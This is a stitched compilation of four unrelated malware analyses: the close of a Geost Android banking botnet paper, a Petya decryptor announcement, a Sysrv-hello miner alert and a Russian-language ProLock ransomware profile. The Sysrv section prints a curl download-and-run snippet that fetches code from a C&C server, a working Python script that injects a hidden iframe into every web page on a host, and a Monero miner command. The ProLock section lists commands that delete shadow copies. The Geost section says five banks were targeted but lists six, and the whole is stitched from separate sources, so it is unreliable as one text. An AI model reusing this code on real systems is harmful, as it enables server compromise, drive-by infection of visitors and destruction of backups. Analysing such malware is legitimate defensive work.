botnet's goals. Based on the evidence found, the Geost operation seems to consist of a large number of APK Android applications related to various topics, from banks and photo services to fake social networks. Once the applications are installed, they may interact directly with the web services of five banks in Eastern Europe. One goal of the botnet appears to be accessing victims' personal information through their SMS messages, including those sent by banks. The rest of this section describes the actions of the botmasters and how they helped identify each part of the Geost botnet. ### Access and Actions in the C&C Servers The botmasters accessed the C&C servers through a web server using port 80/TCP. The web server was running nginx version 1.12.2. The first connection seen in the traffic was made on Sat, 10 Mar 2018, and it was an access to the C&C server with the following request: ``` GET /geost.php?bid=c5d72910bd8a97aeb2ce7336fbd78a1f HTTP/1.1 Host: wgg4ggefwg.ru User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0 Accept-Language: en-US,en;q=0.5 Referer: http://wgg4ggefwg.ru/geost.php Cookie: SSE=p6ee96ki2knqrtsahdv84cuj04; __lnkrntdmcvrd=-1 ``` From this request, several things can be learned. First, the botmaster was already logged in, as the cookie was set. Second, the botmaster was likely using a Windows computer, given the User-Agent. Third, the domain was wgg4ggefwg.ru, and the request was coming from the web page http://wgg4ggefwg.ru/geost.php. After this first request, the botmaster changed a note on one of the victims with the following request: ``` POST /stuff.php?mode=change_notes bid=c5d72910bd8a97aeb2ce7336fbd78a1f&notes=14.50+10.03+68.000 ``` The fact that the botmasters put notes on individual victims suggests they may have been after something more than automatic access to their bank accounts. After changing the note for a victim, the botmaster requested a list of SMS messages from a victim with the following request: ``` POST /stuff.php?mode=showSmsList ``` The response to this request was a long list of more than 900 SMS messages from one victim. The SMS messages are analyzed in Section 6. The original HTTP response with the SMS list was a JSON file using Unicode encoding for transferring Russian characters. An example is: ``` {"response": [{"conversations": {"+900":[{"body":"\u0421\u043f\u0438\u0441\u0430\u043d\u0438 ``` The decoded text in Russian is as follows (the password was redacted): Списание средств: Platbox (RUB 120.00); пароль: 342365. Не сообщайте пароль НИКОМУ. Только мошенники запрашивают пароли. The English translation of this message is: Withdrawal of funds: Platbox (RUB 120.00); password: 342365. Do not disclose the password to ANYONE. Only fraudsters request passwords. This SMS seems to be a message from the Platbox Russian payment system saying that 120 Russian Rubles have been withdrawn. Despite our initial assumption that the botnet was only looking for two-factor authentication messages, it is unclear why the botmasters are monitoring these messages. The first important remark is that the C&C stores the complete list of SMS messages of all the victims since the moment they were infected. The second important remark is that the SMSs were processed offline in the C&C server to automatically compute the balance of each victim. ### Botmaster Access to the Login Page More than eight days after the first access, a botmaster showed up again to access the Geost C&C server. It may have been a different botmaster because the User-Agent of their browser was different from the first time. The first time, the User-Agent was Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0, which is a Windows computer. The second time it was Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0, which is an older version of a browser on a Windows computer. Since it’s unlikely that the botmaster downgraded the browser, the conclusion is that these are different computers. During this second access, it was possible to observe the complete login process and obtain the master password of the C&C server. The long-term execution of the malware, which is standard policy in our laboratory, made it possible to capture this important piece of information. This connection also reveals the third OpSec error: the botmasters believed it was safe to use the HtBot proxy network again. This is a huge underestimation of the security risk of using the same service twice. A better approach would have been to change the connection method every time. The login request was sent as: ``` POST /stuff.php?mode=autorize HTTP/1.1 Host: wgg4ggefwg.ru User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0 X-Requested-With: XMLHttpRequest Referer: http://wgg4ggefwg.ru/geost.php Content-Length: 31 Cookie: SSE=epr0dr4qlejbgphtqppmmjrca0 pwd=[redacted]&language=ru ``` The password used was 15 characters long and included nine numbers and six lower-case letters. The fact that the password was leaked means that it would be possible for others to log into the C&C server. The password is not incredibly complex since it lacked symbols and upper-case letters, but it is considered strong enough to resist casual brute-forcing. It is also worth noting that there is a typo in the name of the request parameter, which is ‘autorize’ instead of ‘authorize’. After logging in, the botmaster accessed the main panel of the C&C, which showed more than 7,500 infected phones and information about the version of the malware, IMEI of the phones, permissions of the malware, country of the phones, balance in the bank accounts, and more. The C&C shows actions for injecting in banks and managing spam. ### Features of the C&C By looking at the options on the C&C page, it is possible to infer the goals of the botnet and its main activities. The management of injects (specific applications for each bank) is important, as well as the management of spam, SMS, and tasks. The menu options suggest a filter for how the victim was infected, as all options refer to Android applications. Each botnet operator has its own ‘Flow id’ to determine how many infections they produced. After accessing the main C&C web page, the botmaster requested to filter the victims by their online status and then sorted them by balance amount. These actions suggest the intention to see the online victims with the largest balance of money, probably to act on them in some way. ### Banks Attacked By accessing the client-side source code of the web page in the network traffic, it was possible to identify which banks were the focus of the Geost botnet. The fact that only five banks were listed suggests that there is a special type of action that can only happen with those banks. For security reasons, the complete list of banks will not be published until the banks acknowledge our contact with them. However, the following characteristics of the targeted banks can be provided: - The first bank is a Russian commercial neobank, one of the top five providers of credit cards in Russia. - The second bank is one of the five largest private commercial banks in Russia and one of the top 1,000 world banks. - The third bank is one of the three largest banks in Russia and Eastern Europe, and one of the top 40 banks in the world. - The fourth bank is one of the 500 largest organizations in Europe and one of the leading banks in Russia. - The fifth bank is part of a large group of cooperatives with subsidiaries in more than 15 countries, ranking in the top seven banks in Russia. - The sixth bank is a publicly traded Russian payment service provider operating electronic online payment systems in Russia, Ukraine, Kazakhstan, Moldova, Belarus, Romania, the United States, and the United Arab Emirates. ## 5. Botnet Infrastructure The infrastructure used by Geost is large but not extremely complex. To date, 13 C&C IP addresses, more than 140 domains, and more than 150 APK files have been found. The domains seem to be randomly generated, but not with a complete domain generation algorithm. ### Randomness in Geost Domain generation algorithms (DGAs) generate domains pseudorandomly to avoid detection and hide the C&C server by resolving a new IP address quickly. The algorithm is unknown to the analyst, making them unpredictable. However, the malware author knows the algorithm and can predict which domain will be requested. In the case of Geost, the DGA is unusual. It looks random enough, but each sample only attempts to contact one domain, and all domains found have an IP address assigned. The DGA used in the Geost botnet is character-based, using letters and numbers, with the TLD being .ru or .xyz. The following is a sample list of Geost C&C domains: - w23t2t2tfwg.ru - wg34gh34t.xyz - 32r3t23wef.ru - ijsdggrur.ru - wgg4ggefwg.ru - 52t34tyt43.xyz Another novel feature of Geost is the use of an algorithm to generate PHP file names. The PHP filenames are 32 characters long, the same as an MD5 string. The following is a sample list of the filenames for the domain 2ve3gh53h3yh.ru: - m99h49wtp1g35b5721d64mfs5p8ese1x.php - n7co2vpu098x85ctgdn689rf4d18n5jz.php - fhdkqgyfux4gj2t6zwu434ptw0i0mefu.php Some domains have a large number of subdomains. For instance, the domain 2ve3gh53h3yh.ru has exactly 1,024 subdomains. ### IP Addresses At least 13 IP addresses have been found so far. Most IP addresses belong to Mauritius. | IP | AS | Country | Domains | Hash | |----------------------|----------------------|---------|---------|------| | 104.18.61.144 | CloudFlare, Inc. | US | >100 | 3 | | 104.24.109.180 | CloudFlare, Inc. | US | >100 | 19 | | 162.222.213.6 | QuadraNet | US | 14 | 20 | | 162.222.213.25 | Admo.net | US | 20 | 20 | | 162.222.213.29 | Admo.net | US | 8 | 20 | | 154.16.244.26 | NetStack | MU | 3 | 0 | | 154.16.244.27 | NetStack | MU | 9 | 2 | | 154.16.244.28 | NetStack | MU | 19 | 12 | | 154.16.244.30 | NetStack | MU | 8 | 0 | | 154.16.244.138 | NetStack | MU | 10 | 0 | | 154.16.244.139 | NetStack | MU | 3 | 0 | | 154.16.244.140 | NetStack | MU | 1 | 0 | | 81.177.6.88 | OJSC RTComm | RU | 5 | 84 | ### APK Hashes The Geost botnet is associated with at least 150 APK files. Most APKs share similarities: each one communicates with only one domain and accesses one unique random PHP file. All requested access to read, receive, and send SMS messages, write on external storage, access contacts, and change Wi-Fi status. The list of SHA256 hashes for the APK files related to this paper can be found in the Appendix. An example of a Geost APK is the file with MD5 4e1af25f84200c7f63e315fe7ca07a9c, which communicated with the domain w23t2t2tfwg.ru and PHP file q15m9gdhybzfznkgexdld9lk3tigg08w.php. Another example is the APK 9d8702dafbcad82a4603e1fd2e2869b4, which contacted the domain w23t2t2tfwg.ru and the PHP file pyh32o0ezfguw1xl4382wzm8tnr1tyng.php. The domain w23t2t2tfwg.ru is one of the most commonly used by APK samples in Geost. ### Relationships in the Infrastructure Among the uncommon characteristics of the Geost infrastructure are: (i) each domain corresponds to a unique IP address; (ii) no domain was ever seen without an IP address registered; (iii) each IP address has more than one domain assigned to it; (iv) domains always refer to the same IP address. The Geost malware used random generation of words in three places: to generate domain names, PHP file names, and APK package names. ## 6. Victims The traffic generated by the botmasters when accessing the C&C server revealed information about the victims of this botnet. The botmasters kept a detailed summary of the victims, which was important for the operation of the botnet. The minimum amount of information known about each victim includes: - IMEI of the phone - Brand of the phone - Phone service provider - Phone number - Country of the phone number - Current balance of bank accounts - History of balance in each bank account - Whether they have a credit card tied to the phone - From the SMS of the victims: - Name of victim - Home address - Social relationships - Religion - Purchases - Expenses - Financial problems Regarding the number of victims, it is only possible to speculate. In the C&C server of the IP address 162.222.213.28, there were 50 victims per page, and there were 1,452 pages, estimating 72,600 victims in that C&C alone. Extrapolating this to the 13 C&C servers, a rough estimation of the total number of victims may be 871,200. It is possible that even more victims exist, given that there may be more C&C servers. According to the 50 victims shown in one of the C&C screens, there is a column labelled ‘Balance’ showing the amount of money (in Rubles) in the bank accounts of the victims. The total sum of this column of 50 victims is 1,129,152 Rubles, approximately 15,000 Euros. Extrapolating this number to the estimated 800,000 victims in this C&C may suggest a maximum total amount of money close to 240,000,000 Euros. However, the real total for this C&C could be much lower if we consider that the web page is sorted by balance. ### IMEI The IMEI is important because it can identify victims. The IMEI is a unique code assigned to cell phones, and searching for it online can reveal information about the device. The IMEI number is divided into parts. The initial eight-digit portion, known as the Type Allocation Code (TAC), details the phone model and origin. The remainder of the IMEI is manufacturer-defined, with a Luhn check digit at the end. Given the IMEI, it is possible to determine the victims’ phone models and characteristics. All victims' phones were Android-based, and the IMEI numbers helped identify the victims’ phone operators, including Tele2, MTS RUS, Beeline, MegaFon, Yota, and Motiv. ### SMS Data Access to SMS messages was one of the more invasive actions of the botnet. SMS messages potentially contain a lot of private information about the user. An analysis of two SMS lists revealed that users shared private conversations, financial account statuses, and sensitive private data. Most private information was leaked by phone operators, including users’ real names, birthdays, last four numbers of credit cards, balance amounts, and passwords for mobile banking applications. ## 7. Attackers One important breakthrough of this analysis was the discovery of a file on a public web page referencing one of the Geost domains. This file proved to be the chat log of a group related to the Geost botnet operation. The use of Skype as a communication medium is consistent with previous reports on the modus operandi of the Russian malware community. The existence of this file marks another OpSec error on the part of the botmasters: they trusted part of the operation to a group with very low or non-existent OpSec practices. The file has more than 6,200 lines, covering eight months of chats, and shows the private conversations of 29 people. Not all seem related to the Geost botnet, as the group had several alternative revenue streams. By analyzing the top participants in the chat log, it was determined that the user ‘powerfaer’ was the only one talking with all participants, making this user the probable owner of the chat log. During the time period from 2017-06-11 to 2018-04-17, powerfaer held business discussions with the other 28 people regarding different projects. Conversations between powerfaer and the user ‘mirrexx777’ showed a connection with the Geost botnet. For instance, they exchanged links to the control panel of the Geost botnet, sharing information that only insiders would possess. The user powerfaer has operated since 2010. Some conversations in the chat got serious and resulted in the use of real names to call attention. The chat log also revealed credentials for several servers and services, such as fttkit.com, and disclosed IDs of online wallets and credit card numbers. This information helped find sensitive information about individuals. ## 8. Conclusion and Future Work The discovery of the Geost Android banking botnet inside the traffic of another malware proxy shows that operational security is hard to get right, and simple mistakes can lead to a deep understanding of malware authors' operations. After discovering the Geost botmasters accessing their C&C servers, it was possible to find more pieces of their botnet infections, leading to a large mapping of their attack infrastructure, APK binaries, number of victims infected, and an estimation of the economic size of the operation. Finally, it was possible to use open-source intelligence to relate a group of developers to part of the infrastructure-building process of the botnet. The developers do not seem to be the Geost botmasters but an underground group related to them. Despite operating since at least 2016, the Geost botnet remained unknown until its traffic was captured on the HtBot malware. This suggests that the best OpSec may be to hide operations among thousands of other malware. However, once the operation was found, it was clear that the group’s OpSec measures were poor, as several mistakes led to information about the operation. ### Summary of Operational Security Mistakes - Use of the illegal proxy network HtBot, underestimating the risk of using a service being tracked in a security laboratory. - Failure to encrypt C&C traffic, allowing identification of the traffic and content of communications. - Use of the same protection service multiple times, allowing repeated monitoring of the attackers and capture of credentials. - Hiring a group of developers with very low OpSec, who disclosed links, names, and credentials in their chats. - Failure to encrypt chats, allowing a document to leak containing important information about the privacy of some attackers and leads about their identities. The amount of information collected on the Geost botnet was so large that it has not been possible to include all details of the infrastructure, victims found, bank accounts disclosed, phones infected, credit cards used, and the social relationships within a group of underground cybercriminals. Therefore, our analysis of the Geost botnet will continue in several directions. The name ‘Geost’ was selected after the only web page that didn’t seem to change in the C&C servers. ## Acknowledgements We would like to thank Veronica Valeros for her help during the analysis and extraction of information. We also thank Professor Sebastian Garcia. ## References 1. Zhang, E. What is Operational Security? The Five-Step Process, Best Practices, and More. Digital Guardian. 2018. 2. Ilascu, I. Flaw in Telegram Reveals Awful OpSec from Malware Author. Bleeping Computer. 2017. 3. Newman, L.H. Yes, even elite hackers make dumb mistakes. Wired. 2018. 4. Paul, K. How Silk Road’s Founder Could Have Avoided Getting Busted. Vice. 2015. 5. Otten, B. Cybercriminal intent: When good OpSec met bad OpSec. Tech Beacon. 2016. 6. Virqdroid. Mobile Threats targeting Russian Banks. 7. Wei, F.; Li, Y.; Roy, S.; Ou, X.; Zhou, W. Deep ground truth analysis of current android malware. Lecture Notes in Computer Science, vol. 10327 LNCS, pp.252–276, 2017. 8. Štefanko, L. Android banking malware: sophisticated trojans vs. fake banking apps. ESET. 2019. 9. Neto, P.D. The new era of Android banking botnets. 10. Shishkova, T. The rise of mobile banker Asacub. Kaspersky. 2018. 11. White, J. ProxyBack Malware Turns User Systems Into Proxies Without Consent. Palo Alto Networks. 2015. 12. McCoy, D.; Bauer, K.; Grunwald, D.; Kohno, T.; Sicker, D. Shining light in dark places: Understanding the tor network. In Privacy Enhancing Technologies, N. Borisov and I. Goldberg, Eds. Berlin, Heidelberg: Springer Berlin Heidelberg, 2008, pp.63–76. 13. Chakravarty, S.; Portokalidis, G.; Polychronakis, M.; Keromytis, A.D. Detecting traffic snooping in tor using decoys. Lecture Notes in Computer Science, vol. 6961 LNCS, pp.222–241, 2011. 14. Terrelonge III, L. Cybercrime Economy. An Analysis of Criminal Communications Strategies. Flashpoint 2017. 15. Goncharov, M. Russian Underground Revisited. Trend Micro. 2014. ## Appendix: SHA256 Hashes of Android APKs Files Related to Geost Botnet - 70e6454910b1c4e1ff1a86a6e7506e6e5c234fca2fe77e44a00287aacc86853e - 0bf2fc434ae4ab98e0a25388042ae011048d54404e0b94bd513bd6927d9f918a - 934ae455b772165443580610916b3af352c3c46a83cb17cb7f380d6835d84552 - 299c3916838e527986c5d252322386add8c320a5da2138986a59e2b667a00945 - 3d32fb91da5ed45ecc8e7880b85e817e05d2134f5ecd69f5b4478be8013ae2da - 5627c1d1ea942bab7134396dd7ba89009e6ff921c1e1a608a6dcdbdda2b14744 - 2a307a34de0b9d33bfc225e60c393c380b981a9fc52ce1277fc30445237f151d - 6a7782b019566becbe0a7c06e56abbe54e3d72726f26b1bf95499b21b076d39e - 0367d4e913b28fad8c57a37ac21cac5cda347846bb2b0f5d505fa47696ba2f2a - 7d49950323cf0eae8b5ae36e4aefc688a1bfa1a651457382e9f9a4a4e28073c1 - 302c2d88fba26235b3229dd1b146a767449d47ede008556ef0d79a3c7b44d382 - 6e6dd2329188b334e519845804bef6e52454620dfb37ae46a457a81c478d2f77 - ddfdcd90fbb5b02756ec03ea75d2d98b6d1f29e14fbdbebfe6e2c77026591056 - 7659e30f3d8d45d7c595cb03ffe6ad6706b9c4b17d8c284a0fa6c90e226f44e6 - f265608593e47c25a6bbdf31179776b401e08f08c4930dcac50684be70aa8902 - 4748c004a3e4b35b0daddd054e22c393c7c66aaa1d08ee3cba7c3bddc26b0a6f - 4727b7727ee4ae5d9f041dc7f066da70b8cfb7417d0904e34b7b4028c38f2c76 - 8d1cd474f4aefcaf5f2fd6ce890ca49398194c796631b73c090fbcce2ed4f2dc - c63e7ccf63feeaf145c0303bd91bf46f43a4b2170cba0b9939492eae88b0175a - b1a376b1427a0373915f228d51eb26ea6cd009b4dd11796902f3fee6f8af122e - 18ab096f1d2cd8a2759204838114e5ab4ff82f07adc8efce393cf5a807790e4d - 04957fe15f8d9df2bf03f6660a55dbf57570416cdb4c225203b99a4e5c7d632b - de963c011fad513f8ced3e2911b02bfe514ca8991be31b4338262e76939a5dfa - f446e1c58cd7d8ebbfdfeaa2ae1eabf361e75ecd92dd5b9d9c09fa085949baf7 - c92c09e4aaf9c3f9531a92964077d6fa6b118f87f106ee1b7f430a43c783a7f6 - 28c864aa54ab9c4f2b254258f3db807638becdacd11d23f793978f03863f065d - 931d011f1343979f233ec9767005a492e76c5434cf4fd863c9969e8b461c04dd - cccb82d3b9f98b34678333c7f4e3e9fcf00cc2515a2c731965074af2c9f85f00 - a70210a109aa4bd9eec9f495378027e9aadd83dc65d5344e26739e98b2e3aa7d - 13776897f46add32b1dda3f7862c53bb069ce839334f9b1d7cd7e93cc4b9a3b6 - ba3ecf85544e09d4e31b912b19d47728767933ccdc4e1b7c337a7a18ade7aa7d - 77d88c936db100e77290abc4131cf41fdc092f77c8fcb488dfc1d08a3937b94c - 8c3ac248e798e6f1fb5e349cc558f0b62ed9a23393b4bf11117c1d9de19e57a6 - 3fcec3bda7d044848a3aaf5f893a319982b545a7736adde036eb47c3bb4ea0d5 - 2903067271823697876b4c153e0bbc222cb8fdbd1b936fb8cfd5f35ae8401dfa - 50c82f9ed9e91a1e10997cc707aec1587c8488c35e7dc76ac3d3d25eb60753b4 - bd9ef6aa820164ea76def200f47abad38edbb4a1df13aa602ee8673af85f6aea - 00a5f79d610759c6dd88e1c6108be24daad5b18187f0abde7bd9056e0d513ee2 - 9ff5dc79a6d7d1369ee113b0250a75a5ce3ce9caeb66fc46f602564086c525b5 - 45c7feeca4784dd6c5bc91d4e02a81d36f9ee56a954730ccc66c7e36671f1c3c - 9706ca42aa8fef8a8c9463d647e5ecf7671180024e78988c4e5a36c1d86e0615 - d36b04ae800000300c351cee1ee0f708340f9cb5b5da5a9a97799e8368a6a3c4 - 513c649370052ee0934175854037eac7c2cf5eb147414fa61df42b35530babaf - 8fb1f54434f2966751d7ae221466c50e5deb5f51ed6e2a042fd71e3d2a53cf5b - e2e8a472b3bdf1ba785d5e78bb12ecb31f14bfcb43d4d0043b6116fd197f6e33 - 4f0e801a6d0f4898b0874da31d63d2dda0620e347d72b35f5086fb22cde9a9cd - 5f216ae10a3972b5a90d6178f4d6f0d2c995b4248a9f329edbc854ead89ce904 - 2ba2a567c91086112c63f09ace11d725537dceba1cc56c14fc86d63d1c6585c8 - e8bf2615d8d9c3d768f687cd05d0f9305fd3118168d2b94eabdfc365fafc9d06
# Bye, bye Petya! Decryptor for old versions released **Malwarebytes Labs** July 24, 2017 Following the outbreak of the Petya-based malware in Ukraine, the author of the original version, Janus, decided to release his master key, probably closing the project. Based on the released key, we prepared a decryptor that is capable of unlocking all the legitimate versions of Petya: - Red Petya - Green Petya (both versions) + Mischa - Goldeneye (bootlocker + files) In case you have a backup of Petya-encrypted disk, this is the time to take it out from the shelf and kiss your Petya goodbye. **WARNING:** During our tests, we found that in some cases Petya may hang during decryption or cause some other problems potentially damaging to your data. That’s why, before any decryption attempts, we recommend you to make an additional backup. ## Variants of the attack As we know, depending on the version, Petya may attack your data in two ways: 1. At a low level, encrypting your Master File Table. 2. At a high level, encrypting your files one by one (like a typical ransomware). Fortunately, the released key allows for recovery in both cases. However, the process of decryption will look a bit different. ## Decryptors We prepared two different builds of the recovery tool to support specific needs: 1. A Live CD 2. A Windows executable In both cases, the tool decrypts the individual key from the victim ID. After obtaining the key, you can use the original decryptors to recover your files. **DISCLAIMER:** Those tools are provided as is and you are using them at your own risk. We are not responsible for any damage or lost data. ## Defeating the bootlocker In both cases, you can obtain the key to your Petya by using a Windows Executable and supplying it your victim ID. However, victim IDs are very long, and retyping them may be painful and prone to mistakes. That’s why we prepared an alternative: a LiveCD that will automatically read it from the encrypted disk. In order to use it, you need to download the ISO and boot from it on your infected machine. Then, follow the displayed instructions. After obtaining the key, you can use it to decrypt your Master File Table. ## Decrypting files In case your files have been encrypted, i.e., by Goldeneye or Mischa, you can use the key decryptor released in the form of a Windows executable. 1. Find your victim ID (“personal decryption code”). It will be in your ransom note. If you don’t have the note, you can find the ID appended at the end of any of your encrypted files. 2. Save the ID in a file. 3. Use our tool to decrypt your key. 3. Copy the obtained key. Download the original decryptor, appropriate for your version. Choose one of your encrypted files and supply the key obtained from the key decoder. Decrypt the file and check if the output is valid. If everything is fine, you can use the same key to decrypt the rest of your files. Supply the extension to the decryptor, and it will find them automatically. ## Conclusion The presented tools allow you to unlock all the legitimate versions of Petya that are released up to now by Janus Cybercrime Solutions. It cannot help the victims of pirated Petyas, like PetrWrap or EternalPetya (aka NotPetya). Is it the end of Petya’s story? Probably yes, however, the future will learn. This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going into details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade.
# Threat Alert: New update from Sysrv-hello, now infecting victims' webpages to push malicious exe to end users **LIU Ya** **April 29, 2021** ## Overview From the end of last year to now, we have seen an uptick of the mining botnet families. While new families have been popping up, some old ones are getting frequently updated. Our BotMon system has recently reported about the rinfo and z0miner. The latest case comes from Sysrv-hello. Two security companies have recently analyzed the new variant of the family, but we noticed Sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the HTML page and infecting users when they visit the compromised webpage. ## New modules of a.py and BrowserUpdate.exe We know that Sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code: ``` curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe curl $cc/a.py > /tmp/a.py python /tmp/a.py & nohup python /tmp/a.py 1>/dev/null 2>&1 & ``` You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh. The a.py file is a Python program, with only 20 lines of code. ```python import os d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>" for _dir in ["/var", "/usr/local", "/home", "/opt"]: for root, dirs, files in os.walk(_dir): for i in files: path = os.path.join(root, i) if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]: continue try: with open(path) as f: data = f.read() if (d in data) or ("<head>" not in data): continue with open(path, "w") as f: f.write(data.replace("<head>", "<head>"+d)) except: continue dst = os.path.join(root, "BrowserUpdate.exe") os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst) os.system("rm -rf /tmp/BrowserUpdate.exe") ``` The function of this code is to go through the directories of "/var", "/usr/local", "/home" and "/opt" on the infected machine, looking for web files with ".html", ".php", ".htm", ".jsp", ".asp" or ".tpl" suffixes, and inserting an iframe code into them once found. ```html <head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe> ``` So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded. BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of CoinMiner. The exe will release two 64-bit PE files: ``` CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0) CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0) ``` Then BrowserUpdate.exe will call the two files using the following command: ``` cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1X ``` The above command will start mining activity with the assigned pool and wallet. Actually, the released exe and sys belong to a set of xmrig suite, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been reports about them by other vendors. ## Summary Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability. Besides making the compromised Linux machine a mining host, by injecting malicious code into the webservers’ HTML pages, it could potentially infect visiting users on the Windows platform. Considering that Sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it. ## IoC **MD5** 833822feda97936d690ff6b983ad1a87 ldr.sh 645647171d92e1fe289b63bbd2f2db86 a.py 048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe a7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE 0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS **Miner pool and wallet** Pool: xmr-eu2.nanopool.org:14444 Wallet: 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1X
# ProLock Ransomware Этот крипто-вымогатель шифрует данные бизнес-пользователей с помощью AES+RSA, а затем требует выкуп от 35 до 255 BTC, чтобы вернуть файлы. Оригинальное название: ProLock (указано в записке). Важно! Оригинальный дешифровщик из-за ошибки не может расшифровать файлы размером более 64 Мб, поэтому уплата выкупа в этом случае бесполезна. Возможно это будет исправлено позже, но если вы решили заплатить выкуп, требуйте подтверждения, что файлы более 64-100 Мб будут корректно расшифрованы. Вы можете заказать расшифровку в Emsisoft. ## Обнаружения: - DrWeb -> Trojan.Packed2.42421, Trojan.Encoder.32444 - BitDefender -> Trojan.GenericKD.42886619 - Kaspersky -> Trojan-Ransom.Win32.Pwnd.c - Qihoo-360 -> Win32/Trojan.Ransom.7de - Tencent -> Win32.Trojan.Pwnd.Sxxx - TrendMicro -> Ransom.Win32.PROLOCK.AA К зашифрованным файлам добавляется расширение: .ProLock. Также используются вариации: .proLock, .pr0Lock, .proL0ck. Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Активность этого крипто-вымогателя пришлась на середину марта 2020 г. Предыдущий вариант вымогателя, который был назван PwndLocker, имел уязвимость, позволявшую расшифровать файлы у некоторых пострадавших, поэтому был модифицирован злоумышленниками с учетом имевшей уязвимости. ProLock ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру. Только в США он нацелен на организации в следующих секторах: здравоохранение, правительство, финансы и розничная торговля. Записка с требованием выкупа называется: [HOW TO RECOVER FILES].txt. ### Содержание записки о выкупе: Ваши файлы зашифрованы ProLock Ransomware с использованием алгоритма RSA-2048. Никто не может помочь вам восстановить файлы без нашего специального инструмента расшифровки. Чтобы вернуть ваши файлы, вы должны заплатить за расшифровку в BTC. Окончательная цена зависит от того, как быстро вы напишите нам. 1. Загрузите браузер TOR. 2. Установите браузер TOR. 3. Откройте браузер TOR. 4. Откройте наш веб-сайт в браузере TOR: msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion 5. Войдите под своим ID 234***************** [всего 20 символов] Если у вас есть проблемы с подключением или с сетью TOR, свяжитесь с нашей службой поддержки по email [email protected]. Ключи расшифровки будут храниться в течение 1 месяца. Мы также собрали ваши конфиденциальные данные. Мы поделимся этим, если вы откажетесь платить. Расшифровка с использованием сторонних программ невозможна. Попытки самостоятельно расшифровать файлы приведут к потере ваших данных. ### Технические детали Для распространения используется QakBot (Qbot, банковский троян, распространяющийся с помощью фишинговых кампаний, email-спама и вложенных вредоносных документов Microsoft Word). Ранее QakBot был связан с MegaCortex. QakBot загружает пакетные сценарии из облачного хранилища и выполняет их с помощью команды: ``` schtasks.exe /CREATE /XML C:\Programdata\WinMgr.xml /tn WinMgr schtasks.exe /RUN /tn WinMgr del C:\Programdata\WinMgr.xml del C:\Programdata\run.bat ``` ProLock крадет данные из скомпрометированной сети. Для эксфильтрации файлы архивируются с помощью архиватора 7-zip и загружаются в облачные хранилища (OneDrive, Google Drive, Mega) с помощью программы командной строки Rclone, которая синхронизирует данные с большим количеством облачных хранилищ. После эксфильтрации операторы выполняют сценарий PowerShell, чтобы извлечь двоичный файл ProLock, встроенный в файл образа, и развернуть его в корпоративной сети для шифрования данных в достижимых системах. Кроме того, ProLock может распространяться путём взлома через незащищенную конфигурацию RDP со слабыми паролями, с помощью обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. ProLock использует PowerShell для внедрения в память специального файла WinMgr.bmp. Файл в заголовке является файлом BMP или JPG, за которым идут нули, а затем код вымогателя. Вы можете видеть это на скриншотах. Файл WinMgr.bmp при просмотре выглядит как чёрный фон с несколькими белыми точками в правом верхнем углу. Его анализ на сайте VT приложен ниже. Если посмотреть на файл в hex-редакторе, то можно увидеть, что он содержит встроенные в него двоичные данные. Именно эти двоичные данные считываются PowerShell-скриптом, который внедряет их в память. Такая атака возможна при открытом доступе к серверам предприятия или организации с помощью службы удаленного рабочего стола. Далее развертывание по всей сети осуществляется с использованием PowerShell Empire или PSExec. ProLock удаляет теневые копии файлов командами: ``` vssadmin.exe delete shadows /all /quiet vssadmin.exe resize shadowstorage /for=D: /on=D: /maxsize=401MB vssadmin.exe resize shadowstorage /for=D: /on=D: /maxsize=unbounded ``` ### Список файловых расширений, подвергающихся шифрованию: Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. ### Файлы, связанные с этим Ransomware: - [HOW TO RECOVER FILES].txt - название файла с требованием выкупа - WinMgr.bmp - чёрный файл с белыми точками и кодом вымогателя 